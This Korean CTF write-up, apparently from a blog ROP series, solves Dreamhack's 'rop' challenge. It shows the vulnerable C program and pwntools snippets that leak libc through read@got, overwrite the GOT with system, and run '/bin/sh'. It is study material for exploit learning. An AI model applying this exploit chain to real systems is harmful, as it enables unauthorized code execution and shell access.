rosieblue
article thumbnail
728x90

๐Ÿ”ROP ์‹œ๋ฆฌ์ฆˆ๐Ÿ”

[ROP ์‹œ๋ฆฌ์ฆˆ (1)] ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์™€ ๋งํฌ

[ROP ์‹œ๋ฆฌ์ฆˆ (2)] PLT, GOT

[ROP ์‹œ๋ฆฌ์ฆˆ (3)] Return to Library ๊ฐœ๋… ๋ฐ ์‹ค์Šต

[ROP ์‹œ๋ฆฌ์ฆˆ (4)] ๋“œ๋ฆผํ•ต(Dreamhack) - rop <-์—ฌ๊ธฐ!

 


 

์ด๋ฒˆ ์›Œ๊ฒŒ์ž„์€ ์•„๋ž˜ ๋‚ด์šฉ์˜ ์‹ฌํ™” ๋ฒ„์ „์ด๋‹ค. ์•„๋ž˜ ์›Œ๊ฒŒ์ž„์„ ์•„์ง ํ’€์ง€ ์•Š์•˜๊ฑฐ๋‚˜ ํ’€์ด ๋ฐฉ๋ฒ•์„ ๋ชจ๋ฅธ๋‹ค๋ฉด ์•„๋ž˜ ํฌ์ŠคํŠธ๋ฅผ ๋จผ์ € ์ฐธ๊ณ ํ•˜๊ณ  ์˜ค๋ฉด ์ด๋ฒˆ ํฌ์ŠคํŠธ์˜ ์ดํ•ด๊ฐ€ ๋” ์‰ฌ์šธ ๊ฒƒ์ด๋‹ค.

 

[๋“œ๋ฆผํ•ต(Dreamhack)] Return to Library ๊ฐœ๋… ๋ฐ ์‹ค์Šต

ASLR์™€ NX์˜ ๋“ฑ์žฅ์œผ๋กœ ์ธํ•ด ํ•จ์ˆ˜๋‚˜ ๋ฒ„ํผ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ๊ธฐ ์–ด๋ ค์›Œ์กŒ๊ณ , ์›ํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์กฐ์ฐจ ์–ด๋ ค์›Œ์กŒ๋‹ค. ์˜ค๋Š˜์€ ์šฐ๋ฆฌ๊ฐ€ ๋งŒ๋“  ์…ธ ์ฝ”๋“œ๊ฐ€ ์•„๋‹Œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ์‰˜์„ ๋”ฐ๋‚ด๋Š”

hannahsecurity.tistory.com

 

๋ฌธ์ œ ๋ถ„์„

 
๋ฌธ์ œ ์ฝ”๋“œ

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

๋ฌธ์ œ ์ฝ”๋“œ๋Š” ์œ„์™€ ๊ฐ™๋‹ค. Return to Library ์‹ค์Šต์—์„œ๋Š” systemํ•จ์ˆ˜๊ฐ€ ์ด๋ฏธ ํ˜ธ์ถœ๋˜์–ด system@plt๋ฅผ ์‰ฝ๊ฒŒ ๊ตฌํ•  ์ˆ˜ ์žˆ์—ˆ๊ณ , "/bin/sh"๊ฐ€ ๋ฐ์ดํ„ฐ ์„ธ๊ทธ๋จผํŠธ์— ๊ธฐ๋ก๋˜์–ด ASLR์˜ ์˜ํ–ฅ์„ ๋ฐ›๊ณ  ์‰ฝ๊ฒŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.
ํ•˜์ง€๋งŒ ์ด๋ฒˆ ๋ฌธ์ œ์—์„œ๋Š” 1)systemํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋˜์ง€ ์•Š์•„ plt์— ๋“ฑ๋ก๋˜์–ด ์žˆ์ง€ ์•Š๊ณ , 2)"/bin/sh" ๋˜ํ•œ ์„ ์–ธ๋˜์ง€ ์•Š์•˜๋‹ค.
 

โ—๏ธŽ ๋”ฐ๋ผ์„œ ์šฐ๋ฆฌ๋Š” systemํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ์ง์ ‘ ๊ตฌํ•ด์•ผํ•˜๊ณ , "/bin/sh" ๋ฌธ์ž์—ด์„ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์œผ๋กœ ์‚ฌ์šฉํ•ด์•ผ ํ•œ๋‹ค. โ—๏ธŽ

 
์นด๋‚˜๋ฆฌ ์šฐํšŒ๋‚˜ ๋ฒ„ํผ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ์œ ๋ฐœํ•˜๋Š” ๊ฒƒ์€ ์—ฌํƒœ๊ป ๊ณ„์† ํ•ด์™”๋˜ ๊ฒƒ์ด๋‹ˆ ์ƒ๋žตํ•˜๊ฒ ๋‹ค. ํ•ด๋‹น ๋ถ€๋ถ„์€ ์ด์ „ ํฌ์ŠคํŠธ๋ฅผ ์ฐธ๊ณ ํ•ด์ฃผ๊ธธ ๋ฐ”๋ž€๋‹ค.
 
 

system ํ•จ์ˆ˜์˜ ์ฃผ์†Œ ๊ตฌํ•˜๊ธฐ

0. ์ƒํ™ฉ ๋ถ„์„

โ“ ํ˜„์žฌ ์ƒํ™ฉ : plt์— system์ด ์—†์Œ (plt์— ์ ํžˆ๋ ค๋ฉด ์ผ๋‹จ ํ”„๋กœ๊ทธ๋žจ์—์„œ ํ˜ธ์ถœ๋˜์–ด์•ผํ•จ!!)

ํ•จ์ˆ˜์™€ ๊ด€๋ จ๋œ ์ฃผ์†Œ๋Š” ํ•จ์ˆ˜@plt, ํ•จ์ˆ˜@got, ํ•จ์ˆ˜์˜ ์‹ค์ œ์ฃผ์†Œ ์ด ์„ธ๊ฐ€์ง€์ด๋‹ค. ๊ทธ๋ ‡๋‹ค๋ฉด ์šฐ๋ฆฌ๋Š” ์–ด๋–ป๊ฒŒ systemํ•จ์ˆ˜์˜ ์ฃผ์†Œ์— ์ ‘๊ทผํ•ด์•ผํ• ๊นŒ?
 
๋จผ์ €, ์šฐ๋ฆฌ๋Š” systemํ•จ์ˆ˜์˜ plt๋ฅผ ๊ตฌํ•  ์ˆ˜ ์—†๋‹ค. ์™œ๋ƒํ•˜๋ฉด ํ˜ธ์ถœ๋˜์–ด์•ผ์ง€๋งŒ plt์— ๋“ฑ๋ก์ด ๋˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.
์šฐ๋ฆฌ๊ฐ€ ์„œ๋ฒ„์—์„œ ์‹คํ–‰๋˜๋Š” ํ”„๋กœ์„ธ์Šค ์ฝ”๋“œ๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์—†์œผ๋ฏ€๋กœ system์˜ plt, ๊ทธ๋ฆฌ๊ณ  system์˜ got์€ ๊ตฌํ•  ์ˆ˜ ์—†๋‹ค. ์™œ๋ƒํ•˜๋ฉด ์กด์žฌํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.
๋”ฐ๋ผ์„œ ์šฐ๋ฆฌ๊ฐ€ ๊ตฌํ•  ์ˆ˜์žˆ๋Š” ๊ฒƒ์€ system์˜ ์‹ค์ œ ์ฃผ์†Œ ๋ฟ์ด๋‹ค. 
 

์ด์ œ ์šฐ๋ฆฌ์˜ ๋ชฉํ‘œ๋Š” "system์˜ ์‹ค์ œ ์ฃผ์†Œ๋ฅผ ์–ป์–ด๋‚ด๊ธฐ"๋กœ ๋ฒ”์œ„๊ฐ€ ์ขํ˜€์กŒ๋‹ค.

 
๊ทธ๋ ‡๋‹ค๋ฉด system์˜ ์‹ค์ œ์ฃผ์†Œ๋ฅผ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์€ ์ •๋…• ์—†์„๊นŒ...? ์—ฌ๊ธฐ์„œ ์šฐ๋ฆฌ๊ฐ€ ์ƒ๊ฐํ•ด์•ผํ•  ๊ฐœ๋…์ด ์žˆ๋‹ค!

- ASLR๊ฐ€ ์ ์šฉ๋˜์—ˆ์„ ๋•Œ(ํ•˜์ง€๋งŒ PIE๋Š” ์•ˆ ์ ์šฉ๋˜์–ด์žˆ์„ ๋•Œ)๋Š” '์ฝ”๋“œ ์˜์—ญ'๊ณผ '๋ฐ์ดํ„ฐ ์˜์—ญ'์˜ ์ฃผ์†Œ๋Š” ๋žœ๋คํ™”๋˜์ง€ ์•Š๋Š”๋‹ค.
- ์–ด๋–ค ํ•จ์ˆ˜๊ฐ€ ํ”„๋กœ๊ทธ๋žจ ์ƒ์— ์กด์žฌํ•  ๋•Œ, ๋งํฌ ๊ณผ์ •์—์„œ ๊ทธ ํ•จ์ˆ˜๊ฐ€ ํฌํ•จ๋œ '๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ „์ฒด'๋ฅผ ๋ฉ”๋ชจ๋ฆฌ์— ๋กœ๋“œํ•œ๋‹ค.
- ASLR๊ฐ€ ์ ์šฉ๋˜์–ด์žˆ์–ด๋„ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋‚ด์˜ ์˜คํ”„์…‹(Offset)์€ ์ผ์ •ํ•˜๋‹ค.

๐Ÿ’ก 2,3๋ฒˆ ์งธ ๊ฐœ๋…์— ์˜ํ•ด systemํ•จ์ˆ˜์˜ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ์†ํ•œ ๋‹ค๋ฅธ ํ•จ์ˆ˜์˜ ์‹ค์ œ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•œ๋‹ค๋ฉด ๊ฑฐ๊ธฐ์„œ ์˜คํ”„์…‹์„ ๋นผ์„œ systemํ•จ์ˆ˜์˜ ์‹ค์ œ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค. ์˜คํ”„์…‹์€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ๊ฐ™์œผ๋ฉด ๋™์ผํ•˜๋ฏ€๋กœ ์–ด๋–ค ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ข…๋ฅ˜๋งŒ ์•Œ ์ˆ˜ ์žˆ๋‹ค๋ฉด ์šฐ๋ฆฌ์ง‘ ๋งˆ๋‹น์—์„œ๋„ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค. ๋ฌธ์ œ ์ฝ”๋“œ์˜ readํ•จ์ˆ˜๋Š” systemํ•จ์ˆ˜์™€ ๊ฐ™์€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ์†ํ•ด ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ readํ•จ์ˆ˜์˜ ์‹ค์ œ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•˜์ž.
๐Ÿ’กreadํ•จ์ˆ˜์˜ ์‹ค์ œ ์ฃผ์†Œ๋Š” ์–ด๋–ป๊ฒŒ ๊ตฌํ•˜๋Š”๊ฐ€? read@got์ด ์ฐธ๊ณ ํ•˜๋Š” ๊ฐ’์„ ๊ตฌํ•˜๋ฉด ๋œ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ.. ์šฐ๋ฆฌ ์ง‘์—์„œ์˜ read@got์™€ ๋“œ๋ฆผํ•ต ์„œ๋ฒ„์—์„œ์˜ read@got ์ฃผ์†Œ๊ฐ€ ๋™์ผํ• ๊นŒ? ๋†€๋ž๊ฒŒ๋„ ๋™์ผํ•˜๋‹ค! ์™œ๋ƒํ•˜๋ฉด ASLR์ด ์ ์šฉ๋˜์–ด์žˆ๊ณ  PIE๊ฐ€ ์ ์šฉ๋˜์–ด์žˆ์ง€ ์•Š์€ ๊ฒฝ์šฐ, ์ฒซ๋ฒˆ์งธ ๊ฐœ๋…์— ์˜ํ•ด ์ฝ”๋“œ ์„ธ๊ทธ๋จผํŠธ์™€ ๋ฐ์ดํ„ฐ ์„ธ๊ทธ๋จผํŠธ์˜ ์ฃผ์†Œ๋Š” ๋ณ€ํ•˜์ง€ ์•Š๋Š”๋‹ค. ๊ทธ๋Ÿฐ๋ฐ plt๋Š” ์ฝ”๋“œ ๋ฉ์–ด๋ฆฌ์ด๋ฏ€๋กœ ์ฝ”๋“œ ์„ธ๊ทธ๋จผํŠธ์— ์ €์žฅ๋˜๊ณ , got๋Š” ์ „์—ญ ๋ฐ์ดํ„ฐ์ด๋ฏ€๋กœ ๋ฐ์ดํ„ฐ ์„ธ๊ทธ๋จผํŠธ์— ์ €์žฅ๋œ๋‹ค. ๋”ฐ๋ผ์„œ plt์™€ got๋ฅผ ์šฐ๋ฆฌ ์ปดํ“จํ„ฐ์—์„œ๋„ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค. system์ฃผ์†Œ์™€ read์ฃผ์†Œ์˜ ์˜คํ”„์…‹๋„ ๋™์ผํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์‰ฝ๊ฒŒ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค.
 

1. read@got๊ตฌํ•˜๊ธฐ ->
2. read@got์ด ์ฐธ์กฐํ•˜๋Š” ๊ฐ’, ์ฆ‰ read์˜ ์‹ค์ œ ์ฃผ์†Œ ์ฐพ๊ธฐ(์–˜๋Š” ๋žœ๋คํ•œ ๊ฐ’์ด๋‹ค.) ->
3. ๋ฏธ๋ฆฌ ๊ตฌํ•œ ์˜คํ”„์…‹์œผ๋กœ systemํ•จ์ˆ˜ ์‹ค์ œ ์ฃผ์†Œ ์ฐพ๊ธฐ

 
์ด ์ˆœ์„œ๋กœ ํ•˜๋‚˜ํ•˜๋‚˜ ๊ฐ€๋ฉด ๋œ๋‹ค.
 

1. read@got ๊ตฌํ•˜๊ธฐ

e = ELF("./rop")
read_got=e.got["read"] #์ •์ˆ˜๋กœ ๋ฐ˜ํ™˜๋˜๋ฏ€๋กœ ํŽ˜์ด๋กœ๋“œ๋กœ ๋ณด๋‚ผ ๋•Œ๋Š” ๋ฐ”์ดํŠธ๋กœ ๋ฐ”๊ฟ”์•ผ ํ•จ

ELF ๊ฐ์ฒด๋Š” ์ต์Šคํ”Œ๋กœ์ž‡์— ํ•„์š”ํ•œ ELF ์ •๋ณด๋ฅผ ์ถœ๋ ฅํ•ด์ค€๋‹ค. 
 

2. read์˜ ์‹ค์ œ ์ฃผ์†Œ ์ฐพ๊ธฐ

 
read์˜ ์‹ค์ œ์ฃผ์†Œ๋Š” ๋žœ๋คํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์‹คํ–‰๋•Œ๋งˆ๋‹ค ๊ทธ ์ฃผ์†Œ๊ฐ€ ๋‹ฌ๋ผ์ง„๋‹ค. ๋”ฐ๋ผ์„œ ์šฐ๋ฆฌ๋Š” ์ด๋ฅผ ๋Ÿฐํƒ€์ž„ ์ค‘์— ์–˜๋ฅผ ๊ฐ€์ ธ์™€์•ผํ•œ๋‹ค! ์ด๋ฅผ ์œ„ํ•ด ์šฐ๋ฆฌ๋Š” putsํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ํ™”๋ฉด์— ์ถœ๋ ฅํ•ด์ฃผ๋„๋ก ์ฝ”๋“œ๋ฅผ ์กฐ์ž‘ํ•  ๊ฒƒ์ด๋‹ค.
์šฐ๋ฆฌ๋Š” puts(read_got)์„ ์‹คํ–‰์‹œํ‚ฌ ์˜ˆ์ •์ด๋‹ค. ์ด๋ฅผ ์œ„ํ•ด ์šฐ๋ฆฌ๋Š” ๋ฆฌํ„ด ๊ฐ€์ ฏ์„ ์ด์šฉํ•œ๋‹ค.
 
โš ์‹ค์ˆ˜์ฃผ์˜โš   puts(read_got)ํ•œ๋‹ค๊ณ  read_got์ด ํ™”๋ฉด์— ์ถœ๋ ฅ๋˜๋Š”๊ฒŒ ์•„๋‹ˆ๋‹ค.. puts์•ˆ์—๋Š” ๋ฌธ์ž์—ด์˜ ์ฃผ์†Œ๊ฐ€ ๋“ค์–ด๊ฐ€๊ณ , read_got์€ ์‹ค์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ์ฃผ์†Œ๊ธฐ ๋•Œ๋ฌธ์— read_got์ด ๊ฐ€๋ฆฌํ‚ค๋Š” ๊ฐ’, ์ฆ‰ read์˜ ์ฐ ์ฃผ์†Œ๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค.
 
โ—๏ธŽ ๋”ฐ๋ผ์„œ ์Šคํƒ์„ pop rdi;ret | read_got | puts_plt ๋กœ ๊ตฌ์„ฑํ•œ๋‹ค. 
โ—๏ธŽ ์ฐธ๊ณ ๋กœ plt๋ฅผ ์•Œ๋ฉด ๊ทธ๋ƒฅ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰์‹œํ‚ฌ ์ˆ˜์žˆ๋Š” ๊ฒƒ๊ณผ ๋‹ค๋ฆ„์—†๋‹ค๊ณ  ๋ณด๋ฉด ๋œ๋‹ค.
 
์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์šฐ๋ฆฌ์˜ ํ™”๋ฉด์— read์˜ ์‹ค์ œ ์ฃผ์†Œ๊ฐ€ ์ถœ๋ ฅ๋  ๊ฒƒ์ด๋‹ค.
์ด๋ฅผ recv๋กœ ๋ฐ›์ž

read_addr=u64(p.recvn(6)+b"\x00"*2)

์™œ 6๊ธ€์ž๋งŒ ๋ฐ›์•˜๋ƒ๋ฉด, 64bit ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ '๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฃผ์†Œ'๋Š” ๋ณดํ†ต 7f๋กœ ์‹œ์ž‘ํ•˜๊ณ  6๊ธ€์ž์ด๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.
 
์ฐธ๊ณ ๋กœ ์•„๋ž˜์ฒ˜๋Ÿผ ๊ตฌํ•  ์ˆ˜๋„ ์žˆ๋‹ค. (๋“œ๋ฆผํ•ต Q&A ์ฐธ๊ณ )

๋”๋ณด๊ธฐ
 read_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
 #7f์˜ฌ ๋•Œ๊นŒ์ง€ ๋ฐ›๊ณ , ๋’ค์—์„œ 6๋ฒˆ์งธ ์ž๋ฆฌ๋ถ€ํ„ฐ ๋๊นŒ์ง€๋งŒ ์ €์žฅ
 #๊ทธํ›„ ์™ผ์ชฝ ์ •๋ ฌํ•˜๋Š”๋ฐ ๋นˆ๋ถ€๋ถ„์€ \x00์œผ๋กœ ์ฑ„์›€(๊ทธ๋ž˜์„œ ์˜ค๋ฅธ์ชฝ ๋‘๋ฐ”์ดํŠธ๊ฐ€ \x00\x00์ด ๋จ)

 
๊ทธ๋ฆฌ๊ณ  ์ด๋ฅผ ํ†ตํ•ด systemํ•จ์ˆ˜๋ฅผ ๊ตฌํ•œ๋‹ค.
๊ทธ๋Ÿฌ๊ธฐ ์œ„ํ•ด์„œ๋Š” offset์„ ๋จผ์ € ์•Œ์•„์•ผํ•œ๋‹ค. offset์€ ์œ„์—์„œ ์–ธ๊ธ‰ํ–ˆ๋“ฏ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ๋™์ผํ•˜๋ฉด ๋‹ค ๋™์ผํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์•„๋ž˜์™€ ๊ฐ™์ด ๊ตฌํ•˜๋ฉด ๋œ๋‹ค.

#offset๊ตฌํ•˜๊ธฐ
lib=ELF("./libc-2.27.so")
sys_read=lib.symbols["system"]-lib.symbols["read"] #symbols["ํ•จ์ˆ˜์ด๋ฆ„"] ํ•˜๋ฉด ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ์ถœ๋ ฅํ•ด์ค€๋‹ค

#systemํ•จ์ˆ˜ ์‹ค์ œ ์ฃผ์†Œ ๊ตฌํ•˜๊ธฐ
system=read_addr+sys_read

 
 

"/bin/sh" ๋„ฃ๊ธฐ ๋ฐ ์ด ์ต์Šคํ”Œ๋กœ์ž‡ ์ •๋ฆฌ

์—ฌ๊ธฐ๊นŒ์ง€ํ•˜๋ฉด ๋งŽ์ด ๋”ฐ๋ผ์™”๋‹ค...์ˆ˜๊ณ ํ–ˆ์–ด์š”....๋‹ค๋“ค..
๊ทธ๋Ÿฐ๋ฐ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋‚ ๋ฆด ๋•Œ ๋งจ์ฒ˜์Œ์—๋Š” ์šฐ๋ฆฌ๊ฐ€ systemํ•จ์ˆ˜๋ฅผ ๋ชจ๋ฅด๊ธฐ ๋•Œ๋ฌธ์— ์ด๋ฅผ ๊ตฌํ•˜๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ตฌํ•ด์•ผํ•˜๊ณ , ๋‹ค์‹œ systemํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋‚ ๋ ค์•ผํ•œ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์šฐ๋ฆฌ๋Š” ์นด๋‚˜๋ฆฌ ๋ฆญํ•  ๋•Œ ๋ณด๋‚ด๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ œ์™ธํ•˜๋ฉด ๊ธฐํšŒ๊ฐ€ ํ•œ๋ฒˆ๋ฐ–์— ์—†๋‹ค. ๋”ฐ๋ผ์„œ ์šฐ๋ฆฌ๋Š” ๊ธฐํšŒ๋ฅผ ์Šค์Šค๋กœ ๋งŒ๋“ค์–ด์•ผ ํ•œ๋‹ค.
์ด๋ฅผ ์œ„ํ•ด ์šฐ๋ฆฌ๋Š” readํ•จ์ˆ˜๋ฅผ ํ•œ ๋ฒˆ ๋” ์‹คํ–‰์‹œ์ผœ์ฃผ๋„๋ก ๋งŒ๋“ค์–ด์„œ system ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ๋‹ค์‹œ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๊ฒŒ ํ•  ๊ฒƒ์ด๋‹ค.
๊ทธ๋Ÿฌ๊ธฐ ์œ„ํ•ด ๋˜ ๋ฆฌํ„ด ๊ฐ€์ ฏ์„ ์ด์šฉํ•  ๊ฒƒ์ด๋‹ค.
 
์šฐ๋ฆฌ๋Š” read(0,read_got,0x10)์„ ์‹คํ–‰๋˜๊ฒŒ ๋งŒ๋“ค์–ด์„œ read_got ์ฃผ์†Œ์— system ์ฃผ์†Œ๋ฅผ ๋ฎ์–ด ์”Œ์šธ ๊ฒƒ์ด๋‹ค.
์ด๋ฅผ ์œ„ํ•ด ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ตฌ์„ฑํ•˜๋ฉด pop_rdi | 0 | pop_rsi_r15 | read_got | 0 | read_plt ์ด๋‹ค,
 
 
์—ฌ๊ธฐ์„œ ๊ถ๊ธˆํ•œ๊ฒŒ ์žˆ์„ ํ…๋ฐ, ์–˜๋„ค๋“ค์€ ๋‚ด๊ฐ€ ํ’€์–ด๋ณด๋ฉด์„œ ๊ถ๊ธˆํ–ˆ๋˜ ๊ฒƒ์ด์—ˆ๋‹ค... (๋‚˜๋งŒ ๊ถ๊ธˆํ–ˆ์œผ๋ฉด ๋ญ..)

๋”๋ณด๊ธฐ

1. pop_rsi_r15๋Š” ๋ญ”๊ฐ€์š”? -> pop rsi; pop r15; ret์˜ ์•ฝ์ž์ด๋‹ค. ์ด๋ฅผ ํ†ตํ•ด rsi์— read_got์„ ๋„ฃ์–ด์ค€๋‹ค. pop 15๋„ ์žˆ์œผ๋ฏ€๋กœ ๋’ค์— ๊ทธ๋ƒฅ 0์„ ๋„ฃ์–ด์ค˜์„œ popํ•˜๊ฒŒ ํ•ด์คฌ๋‹ค

2. pop rdx๋Š” ์•ˆ ํ•˜๋‚˜์š”? -> ์›์น™์ƒ์œผ๋กœ๋Š” ํ•ด์•ผํ•˜๋Š”๋ฐ pop rdx๋ฅผ ํ•˜๋Š” ๊ฐ€์ ฏ์„ ์ฐพ๊ธฐ ์–ด๋ ต๋‹ค. ์ด๋ฅผ ์œ„ํ•ด์„œ๋Š” ๋‹ค๋ฅธ ๋ณต์žกํ•œ ๋ฐฉ๋ฒ•์ด ์žˆ๋Š”๋ฐ ์ด๋Š” ๋‹ค์Œ์— ์„ค๋ช…ํ•˜๋„๋ก ํ•˜๊ฒ ๋‹ค. ๋ฌธ์ œ์—์„œ๋Š” rdx๊ฐ€ ์ถฉ๋ถ„ํžˆ ํฌ๊ฒŒ ์„ค์ •๋˜์–ด์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๋‹คํ–‰ํžˆ๋„ pop rdxํ•ด๋„ ์ •์ƒ์ ์œผ๋กœ ์ž‘๋™ํ•˜๊ธฐ๋Š” ํ•œ๋‹ค.

3. ์™œ ๊ทธ ๋งŽ๊ณ  ๋งŽ์€ ์ฃผ์†Œ ์ค‘์— read_got์„ overwriteํ•˜๋‚˜์š”? -> read์˜ ๋‘๋ฒˆ์งธ ์ธ์ž๋กœ๋Š” system์˜ ์ฃผ์†Œ๋ฅผ '๊ฐ€๋ฆฌํ‚ฌ' ์• ๋ฅผ ๋„ฃ์–ด์•ผํ•˜๋Š”๋ฐ, ์ด ๊ฐ€๋ฆฌํ‚ฌ ํฌ์ธํ„ฐ๋ฅผ ์ฐพ๊ธฐ๊ฐ€ ๊ทธ๋ ‡๊ฒŒ ์‰ฌ์›Œ๋ณด์ด์ง€ ์•Š๋‹ค(๋‚ด ์ถ”์ธก)

 
์—ฌ๊ธฐ๊นŒ์ง€ ํ•˜๋ฉด ์„œ๋ฒ„์—์„œ read(0,read_got,0x10)๋ฅผ ์‹คํ–‰ํ•˜๊ฒŒ ๋œ๋‹ค. ๋”ฐ๋ผ์„œ ์šฐ๋ฆฌ๊ฐ€ ์ด์ œ read_got์— overwriteํ•ด์ค„ ์ฃผ์†Œ, ์ฆ‰ systemํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ๋ณด๋‚ด์ค˜์•ผํ•œ๋‹ค. 

p.send(p64(system))

 
์šฐ๋ฆฌ๋Š” ์ด์ œ read์˜ got์„ systemํ•จ์ˆ˜๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ํ•ด๋†จ์œผ๋ฏ€๋กœ system("/bin/sh")๋Œ€์‹  read("/bin/sh")๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ๋œ๋‹ค."/bin/sh"๋Š” ๊ทธ๋ƒฅ ๋ฒ„ํผ์— ์ ์–ด์ค„ ๊ฒƒ์ธ๋ฐ ์œ„์—์„œ readํ•จ์ˆ˜๋กœ read_got์— ์šฐ๋ฆฌ์˜ ์ž…๋ ฅ์„ ๋ฐ›๊ฒŒ ์„ค์ •ํ•ด๋†“์•˜์œผ๋ฏ€๋กœ ๊ทธ๋ƒฅ ๊ทธ ๋’ค์—(read_got+0x8)์— "/bin/sh"๋ฅผ ๋„ฃ์–ด์ฃผ์ž. ๊ทธ๋Ÿฌ๊ธฐ ์œ„ํ•ด์„œ๋Š” ์ข€์ „์˜ ์ฝ”๋“œ๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ˆ˜์ •ํ•ด์ฃผ์ž.

p.send(p64(system)+b"/bin/sh\x00") #ํ˜น์‹œ ๋ชฐ๋ผ ๋งจ ๋’ค์— null ๋ฌธ์ž๋„ ์ถ”๊ฐ€ํ•ด ์ฃผ์—ˆ๋‹ค.

 
๊ทธ๋ฆฌ๊ณ  read("/bin/sh")๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ตฌ์„ฑํ•˜๋ฉด pop_rdi | read_got+0x8 | read_plt ๊ณผ ๊ฐ™๋‹ค.
 
๊ทธ๋ž˜์„œ ์ง€๊ธˆ๊นŒ์ง€์˜ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋‹ค ์ด์–ด๋ถ™์ด๋ฉด ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

์—ด์‹ฌํžˆ ์•„์ดํŒจ๋“œ๋กœ ๊ทธ๋ฆฐ ๊ทธ๋ฆผ...... ์ด๋ ‡๊ฒŒ ํ•˜๋‚˜ํ•˜๋‚˜ ์†์œผ๋กœ ๊ทธ๋ ค๋ณด๊ณ  ๋ถ„์„ํ•˜๋ฉด ์ข‹๋‹ค

 
์ฐธ๊ณ ๋กœ ๋‚ด๊ฐ€ ๋˜ ๊ถ๊ธˆํ–ˆ๋˜๊ฒŒ ์žˆ๋Š”๋ฐ...

๋”๋ณด๊ธฐ

๊ทธ๋Ÿฌ๋‹ˆ๊นŒ ์™œ puts_plt๋‹ค์Œ์— ๋ฐ”๋กœ ์‹œ์Šคํ…œ(”/bin/sh”)์„ ํ•ด์ฃผ์ง€ ์•Š๋Š”๊ฑฐ๋ƒ๋ฉด ์ผ๋‹จ systemํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ๋ณด๋‚ด์•ผํ•˜๋Š”๋ฐ, ๊ทธ๊ฑฐ๋ฅผ ํŽ˜์ด๋กœ๋“œ ๋ณด๋‚ด๊ธฐ ์ „๊นŒ์ง€ ์•Œ์ˆ˜๊ฐ€ ์—†๋‹ค….. ๊ทธ๋ž˜์„œ ๋‹ค์‹œ readํ•จ์ˆ˜๋ฅผ ์‹คํ–‰์‹œ์ผœ์„œ ์ด๋ฅผ ์ €์žฅํ•˜๊ฒŒ ํ•˜๋Š” ๊ฒƒ์ด๋‹ค

 
 

์ตœ์ข…์ฝ”๋“œ

